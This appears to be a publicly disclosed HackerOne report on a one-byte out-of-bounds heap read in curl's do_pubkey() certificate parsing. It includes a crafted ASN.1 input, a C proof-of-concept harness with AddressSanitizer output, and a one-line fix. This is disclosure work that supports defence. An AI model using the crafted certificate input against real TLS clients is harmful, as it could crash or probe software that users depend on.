HexBrain

curl · Report #3617719

Function `do_pubkey()` can have out-of-bound read issue

N/Astatus
13upvotes
25 Mar 2026disclosed

How it was found

Summary

A 1-byte out-of-bounds heap read in do_pubkey() in lib/vtls/x509asn1.c. When parsing an RSA public key with a zero-length or all-zero modulus, the loop dereferences a pointer before checking bounds. Requires a non-OpenSSL TLS backend (e.g., Mbed/Gnu). A certificate chain verification can trigger this by sending crafted certificates.

Details

Trigger path:

  1. Application uses a non-OpenSSL TLS backend (mbedTLS, GnuTLS, Rustls, Schannel)
  2. A certificate containing an RSA public key with a zero-length modulus: BIT STRING content 00 30 02 02 00

PoC

Minimal C reproduction (with ASan):

// Compile curl's x509asn1.c with -fsanitize=address -O0
// Feed a BIT STRING with content: 00 30 02 02 00
//   00       = unused bits
//   30 02    = SEQUENCE, length 2
//   02 00    = INTEGER, length 0 (zero-length modulus)

uint8_t bitstring[] = {0x00, 0x30, 0x02, 0x02, 0x00};
uint8_t *buf = malloc(sizeof(bitstring));  // exact size, ASan red zone after
memcpy(buf, bitstring, sizeof(bitstring));

struct Curl_asn1Element pubkey = {0};
pubkey.beg = (const char *)buf;
pubkey.end = (const char *)buf + sizeof(bitstring);
pubkey.tag = 0x03;

struct Curl_asn1Element param = {0};
// Calls do_pubkey() -> reads 1 byte past buf -> ASan heap-buffer-overflow
do_pubkey(NULL, 0, "rsaEncryption", &param, &pubkey);

ASAN output

==PID==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1 at 0x...
    #0 ... in do_pubkey lib/vtls/x509asn1.c:1015

Possible fix

for(q = elem.beg; !*q && q < elem.end; q++) ==> for(q = elem.beg; q < elem.end && !*q; q++)

Impact

Summary:

Out-of-bounds read (CWE-125): 1 byte past the parsed ASN.1 element DoS: Crash possible if the overread hits unmapped memory (unlikely with typical allocators)

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original